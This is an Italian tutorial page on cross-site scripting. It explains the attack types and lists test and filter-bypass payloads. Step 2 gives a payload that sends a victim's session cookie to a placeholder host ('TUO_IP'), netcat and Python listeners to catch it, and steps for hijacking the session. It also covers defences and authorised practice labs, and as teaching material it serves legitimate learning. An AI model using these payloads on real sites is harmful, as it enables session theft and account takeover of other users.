Home › Web Hacking › XSS
Cross-Site Scripting (XSS)
Iniettare JavaScript che viene eseguito nel browser di altri utenti. Serve a rubare sessioni, fare phishing, agire come la vittima.
Teoria
Se un sito prende il tuo input e lo rimette nella pagina senza sanificarlo, puoi inserire un <script> che il browser eseguirà. La vittima non attacca il server: attacca gli altri utenti (o te stesso in DOM XSS).
| Tipo | Dove vive | Come colpisce |
|---|---|---|
| Reflected | Nell'URL/parametro, rimandato subito nella risposta. | Mandi un link malevolo alla vittima; scatta quando lo apre. |
| Stored | Salvato nel DB (commento, profilo, messaggio). | Colpisce chiunque visiti la pagina. Il più pericoloso. |
| DOM based | Nel JavaScript lato client. | Il codice della pagina stessa usa input non sicuro (es. location.hash). |
Passo 1 — testare
Prova un payload innocuo in ogni campo/parametro. Se compare l'alert → è vulnerabile:
<script>alert(1)</script>
<img src=x onerror=alert(1)> # quando i tag script sono filtrati
"><script>alert(1)</script> # per "uscire" da un attributo HTML
Passo 2 — payload utili (oltre l'alert)
# ruba il cookie di sessione della vittima verso il tuo server
<script>new Image().src="http://TUO_IP/c?"+document.cookie</script>
# in ascolto sulla tua Kali per ricevere il cookie:
nc -lvnp 80
# oppure un web server rapido:
python3 -m http.server 80
Col cookie rubato puoi impostarlo nel tuo browser (DevTools → Application → Cookies) e diventare la vittima senza password.
Passo 3 — bypass dei filtri
Se il sito blocca <script> o parole chiave, si usano varianti:
<svg onload=alert(1)>
<body onload=alert(1)>
<iMg SrC=x OnErRoR=alert(1)> # case mixing
<a href="javascript:alert(1)">click</a>
Enorme raccolta di payload e bypass: PayloadsAllTheThings — XSS.
Difesa
- Output encoding contestuale (HTML, attributo, JS): l'input viene mostrato come testo, non eseguito.
- Content Security Policy (CSP): limita da dove può caricare script.
- Cookie con flag
HttpOnly(JS non può leggerli) eSecure. - Sanitizzare l'HTML lato server (es. DOMPurify per contenuto rich).
Lab autorizzati
THMCross-site ScriptingFacileReflected, stored, DOM e blind XSS con esercizi. THMOWASP Juice ShopFacileApp volutamente vulnerabile: ottima per allenare XSS e altro. WEBPortSwigger — XSSFreeDecine di lab gratuiti, dal reflected ai bypass avanzati. Sui tuoi libri: XSS Attacks – Cross Site Scripting Exploits and Defense (Grossman); The Web Application Hacker's Handbook cap. XSS. Vedi Risorse.